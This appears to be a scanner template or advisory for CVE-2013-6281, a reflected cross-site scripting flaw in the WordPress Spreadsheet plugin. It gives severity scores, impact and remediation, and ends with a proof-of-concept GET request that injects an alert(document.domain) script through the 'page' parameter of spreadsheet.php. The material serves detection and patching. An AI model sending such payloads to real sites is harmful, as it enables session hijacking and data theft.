| Title | WordPress Spreadsheet - Cross-Site Scripting |
|---|---|
| Author | random-robbie |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress site, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the WordPress Spreadsheet plugin to the latest version, which includes proper input sanitization to mitigate the XSS vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.08709 |
| CVE ID | CVE-2013-6281 |
| CWE ID | CWE-79 |
| Tags | cve2013 cve wp wpscan wordpress xss wp-plugin dhtmlx vuln |
WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.
GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept-Encoding: gzip
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